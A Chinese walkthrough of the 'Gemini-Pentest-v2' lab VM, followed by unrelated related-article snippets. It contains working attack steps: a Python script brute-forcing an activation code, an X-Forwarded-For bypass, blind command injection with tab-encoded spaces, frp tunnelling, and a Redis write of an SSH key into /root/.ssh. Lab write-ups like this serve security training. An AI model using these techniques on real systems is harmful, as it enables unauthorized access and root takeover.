18、Gemini-Pentest-v2

难度 中

目标 root权限 一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.63

信息收集

web测试

访问80端口

上面介绍了一下这个系统是一个内部系统,让员工查看他们的个人资料还可以导出为PDF

页面还有一个链接是UserList可以访问但是页面什么都没有显示,怀疑可能是没有权限或者需要什么参数

继续目录扫描

基本都存在目录遍历,但是都是些php文件

使用gobuster扫描

gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html

有一个黑名单

但是不知道这是哪个文件接收的参数,用上面跑出来的文件做了个字典去跑也没有发现

然后去看每个可以访问的页面,发现注册页面应该可以注册一个账户登录进去,还发现一个激活页面也可以访问有东西,其他的页面都是403以及需要登录的admin

尝试注册admin发现提示账号已存在

注册一个admin123,确实注册成功了,又提示需要激活

大概是需要上面那个激活页面进行激活吧

但是激活需要userid,在页面找了一圈发现在这个profile,点了会卡一会然后就是跳转但是跳转没用会在url显示userid

前面说激活码是6位数字那么可以尝试爆破一遍(15是我一开始跑截的图)

数目有点大估计得要一段时间

服了跑了一会发现很慢然后发现全是403发现有token验证。。。

于是写个简单的脚本进行跑,当然也可以使用bp的宏定义。

import requests
from bs4 import BeautifulSoupurl='http://192.168.152.63/activate.php'session = requests.Session()  #保持会话
response = session.get(url)
text=response.textsoup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
# 生成从000000到999999的所有数字字符串
for i in range(1000000):number_str = f"{i:06d}"  # 使用格式化字符串,确保数字是6位,不足的前面补0data={'userid':15,'activation_code':number_str,'token':token_value}re = session.post(url=url, data=data)soup = BeautifulSoup(re.text, 'html.parser')token_value = soup.find('input', {'name': 'token'})['value']print(number_str)if re.status_code!=403:print('——————————————————————————————————————————————')break

写脚本还遇到一个之前没有注意的地方就是data数据如果用这个{}格式的字典会自动的进行url编码的,我一开始直接把post数据当成字符串进行传输发现一只是无效的token后面发现需要有url编码也就是请求头里有个Content-Type: application/x-www-form-urlencoded

激活码作者没有给很大的数字也是很快就跑出来了,而且是固定的000511。

再次访问就可以正常登录了

然后在这些新功能点翻一翻,测一测SQL注入啥的

翻了一圈没发现什么东西,最后在9emin1中发现泄露了密码的HASH

此账号为管理员

 

找个在线的解密网站 9emin1 secretpassword

不过使用9emin1 secretpassword没登录成功。。。

突然想到注册的时候有个账号名和一个昵称,又回去看了一下每个账号后面都有一个括号又有一个名字

于是使用 Gemini secretpassword登录成功了

尝试放我上面admin才有的功能点有个执行命令但是都403

看数据包发现是ip不允许

使用插件生成的ip可以绕过

具体尝试发现X-Forwarded-For: 127.0.0.1就可以

突破边界

在执行命令这里发现了前面黑名单出现的命令执行的参数testcmd

不过我尝试输入了几个命令并没有什么回显(注意这里也要有Content-Type: application/x-www-form-urlencoded才会执行,token也要对)

怀疑是无回显的根据黑名单的内容发现过滤了空格

找了一下可以替代空格的方式,发现黑名单中还过滤了{}最后发现%09可以替代

这里应该是没有curl命令。

一开始想尝试OOB带外数据的但是发现很多都被过滤了估计不太行,想了一下很多命令不行那么试着先上传msf的后门试试

但是尝试了并没有成功的上线后门

尝试上传一个sh文件看能执行不

然后执行

bash%09/tmp/jiaoben

成功的执行了,这里只能用bash不能用bin/bash不知道为什么

提权

使用

SHELL=/bin/bash script -q /dev/null

提升一下shell

在家目录下面看了下历史记录没啥,也就一个这个Gnupg没有见过有点可疑,去网上搜了一下是一个加密的东西,没看太懂

上传了提权辅助脚本进行了一下信息的收集,收获到一下比较可疑的内容

/var/backups/alternatives.tar.0

/home/gemini1/.gnupg/trustdb.gpg

/home/gemini1/.gnupg/pubring.kbx

usr/bin/wkhtmltopdf

/usr/bin/gettext.sh

同时查看发现开启了redis和mysql数据库

同时发现redis是root权限启动,mysql只是mysql权限启动

redis有一些手法的前提就是root权限启动的服务

但是在命令行运行会有问题,我怀疑是shell的问题

frps.toml的配置

然后将frpc 和frpc.toml传上去赋予执行权限、

然后先在kali启动frps

./frps -c ./frps.toml

然后再在靶机上启动

nohup ./frpc -c ./frpc.toml > output.log 2>&1 &

然后发现需要密码

一开始准备用msf的代理转发的但是不知道为什么没代理上,只能退其次选择内网穿透使用frp

现在本地修改一下frpc.toml的内容,将本地的6379穿透到kali的1088端口

redis的密码可以在配置文件中查看

cat /etc/redis/6379.conf

8a7b86a2cd89d96dfcc125ebcc0535e6

刚才登录后查看有没有什么东西

发现有个秘钥,将秘钥cp到本地后尝试使用公私钥连接发现连不上。。。

那么只能选择写入公钥的方式了

现在本地生成公私钥

然后先将公钥写入一个txt中间加一些换行

(echo -e "\n\n";cat Gemini.pub;echo -e "\n\n")>Gemini.txt

这是因为在写入的过程中会出现一些乱码影响

将公钥写入redis内存中,也就是保存到数据库

cat Gemini.txt|redis-cli -h 127.0.0.1 -p 1088 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set gongyao

然后

config set dir /root/.ssh

config set dbfilename authorized_keys

save

这就成功的将公钥写入数据库了

现在可以尝试使用ssh进行连接了

指定私钥进行连接

ssh -i Gemini root@192.168.152.63

查看flag

 总结

        算是比较麻烦的靶场,无回显的rce并且是不太清楚的环境的情况下也不知道什么命令可以执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/51917.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ES数据写入过程

1. 写入请求 当一个写入请求(如 Index、Update 或 Delete 请求)通过REST API发送到Elasticsearch时,通常包含一个文档的内容,以及该文档的索引和ID。 2. 请求路由 协调节点:首先,请求会到达一个协调节点…

微服务日常总结

1.当我们在开发中,需要连接多个库时,可以在yml中进行配置。 当在查询的时候,跨库时,需要通过DS 注解来指定,需要yml配置需要保持一致。 2. 当我们想把数据存入到clob类型中,需要再字段 的占位符后面加上j…

Zookeeper 官方示例2-SyncPrimitive 代码解读(二)

测试命令 java jar .\ZookeeperDemo-0.0.1-SNAPSHOT.jar bTest 192.168.206.100:2181 2 1. Barrier(阻塞原语) 1.1 概念 [!quote] A barrier is a primitive that enables a group of processes to synchronize the beginning and the end of a comput…

vulhub xxe靶机

先用御剑扫描出ip然后进入网页 进入robots.txt里面会发现俩个目录然后我们进去xxe里面 进入xxe页面进行登录&#xff0c;burp抓包 然后进入重放器 可以看到关于密码和用户名的是xml,那么就可以考虑用xxe注入 <?xml version"1.0" ?> <!DOCTYPE r [ <!…

监视SQL Server 内存使用量

文章目录 I 监视SQL Server 内存使用量确定页生存期确定当前的 SQL Server 内存利用率有关当前分配内存的信息II 等待资源池 %ls (%ld)中的内存资源来执行该查询时发生超时。 请重新运行查询。原因查看服务器级别设置的超时值资源信号灯 DMV sys.dm_exec_query_resource_semaph…

IP网络广播系统(IP网络广播系统是什么及它的优势与应用)

一、引言 在当今数字化的时代&#xff0c;音频传播技术也在不断革新。IP网络广播系统作为一种先进的音频传输解决方案&#xff0c;正逐渐在各个领域发挥重要作用。那么&#xff0c;究竟什么是IP网络广播系统呢&#xff1f;它又有着怎样独特的优势和广泛的应用呢&#xff1f;本…

深度学习(二)-损失函数+梯度下降

损失函数 损失函数&#xff08;Loss Function&#xff09;&#xff0c;也有称之为代价函数&#xff08;Cost Function&#xff09;&#xff0c;用来度量预测值和实际值之间的差异。 损失函数的作用 度量决策函数f&#xff08;x&#xff09;和实际值之间的差异。 作为模型性能…

检测CSRF漏洞的工具

免责声明此文档仅限于学习讨论与技术知识的分享&#xff0c;不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;本文作者不为此承担任何责任&#xff0c;一旦造成后果请自行承担&…

二百五十九、Java——采集Kafka数据,解析成一条条数据,写入另一Kafka中(一般JSON)

一、目的 由于部分数据类型频率为1s&#xff0c;从而数据规模特别大&#xff0c;因此完整的JSON放在Hive中解析起来&#xff0c;尤其是在单机环境下&#xff0c;效率特别慢&#xff0c;无法满足业务需求。 而Flume的拦截器并不能很好的转换数据&#xff0c;因为只能采用Java方…

javascript数据结构与算法-- 二叉树

javascript数据结构与算法-- 二叉树 树是计算机科学中经常用到的一种数据结构。树是一种非线性的数据结构&#xff0c;以分成的方式存储数据&#xff0c;树被用来存储具有层级关系的数据&#xff0c;比如文件系统的文件&#xff0c;树还被用来存储有序列表。我们要研究的是二叉…

IObit Uninstaller Pro v13.6.0.5 绿色便携免安装版本 下载

功能非常强大好用的软件卸载清理工具 下载地址(资源制作整理不易&#xff0c;下载使用需付费&#xff0c;不能接受请勿浪费时间下载) 链接&#xff1a;https://pan.baidu.com/s/1I7lbixooii9ezSrp3X-y-w?pwd716l 提取码&#xff1a;716l

d3dcompiler_47.dll缺失的可能原因多种多样,那么d3dcompiler_47.dll缺失怎么修复

在数字世界的深处&#xff0c;d3dcompiler_47.dll文件扮演着至关重要的角色&#xff0c;它是Direct3D编译器的一部分&#xff0c;负责处理图形渲染和游戏运行中的关键任务。然而&#xff0c;当用户启动某个程序或游戏时&#xff0c;屏幕上突然弹出的错误提示“d3dcompiler_47.d…

苹果手机勿扰模式怎么关闭?4个方法快速关闭!

我们为了提升做事的效率以及保障休息的质量&#xff0c;在认真工作和学习&#xff0c;或者是晚上休息的时候&#xff0c;通常会打开苹果手机的勿扰模式。但当我们需要恢复苹果手机的消息通知时&#xff0c;苹果手机勿扰模式怎么关闭呢&#xff1f;今天&#xff0c;小编整理了4个…

机械学习—零基础学习日志(概率论总笔记2)

正态分布 高斯分布也叫做正态分布。假定事件A经过n次试验后发生了k次&#xff0c;把k的概率分布图画一下&#xff0c;就得到了一个中间鼓起&#xff0c;像倒扣的钟一样的对称图形。 18世纪&#xff0c;数学家棣莫弗和拉普拉斯把这种中间大&#xff0c;两头小的分布称为正态分布…

厨师帽佩戴识别摄像机

厨师帽佩戴识别摄像机 是一种用于识别厨师是否佩戴帽子的智能设备&#xff0c;其作用在于强制执行食品安全卫生标准&#xff0c;防止头发掉落入食物中。该摄像机利用人工智能和图像识别技术&#xff0c;能够识别厨师是否佩戴厨师帽。当摄像机检测到厨师未佩戴帽子时&#xff0c…

微信小程序中Towxml解析Markdown及html

一、Towxml Towxml 是一个让小程序可以解析Markdown、HTML的解析库。 二、引入 2.1 clone代码 git clone https://github.com/sbfkcel/towxml.git2.2 安装依赖 npm install2.3 打包 npm run build2.4 引入文件 将dist文件复制到微信小程序根目录&#xff0c;改名为towx…

Flutter中的Key

在Flutter 中&#xff0c;Key 是 几乎所有 widget 都具有的属性。为什么 widget 具有 Key 呢&#xff1f;Key的作用是什么&#xff1f; 什么是 Key Key是Widget、Element 和 SemanticNodes 的标识符。 Key 是Widget、Element 和 SemanticNodes的唯一标识。例如对于 Widget 在 …

数据结构之 “单链表“

&#xff08;1&#xff09;在顺表表中&#xff0c;如果是头插/删的时间复杂度是O(1)&#xff1b;尾插/删的时间复杂度是O(N) &#xff08;2&#xff09;增容一般是呈2倍的增长&#xff0c;势必会有一定的空间浪费。比如&#xff1a;申请了50个空间&#xff0c;只用了两个&#…

Type-C接口诱骗取电快充方案

Type-C XSP08Q 快充协议芯片是一种新型电源管理芯片&#xff0c;主要负责控制充电电流和电压等相关参数&#xff0c;从而实现快速充电功能。Type-C XSP08Q快充协议是在Type-C接口基础上&#xff0c;加入了XSP08Q协议芯片的支持&#xff0c;很大程度上提升了充电速度。 正常情况…

Linux——性能调优工具一览

一、CPU 1.调优工具 根据指标找工具 性能指标工具说明 平均负载 uptime、top uptime最简单、top提供了更全的指标 系统整体CPU使用率 vmstat、mpstat、top、sar、/proc/stat top、vmstat、mpstat只可以动态查看&#xff0c;而sar还可以记录历史数据 /proc/stat是其他性…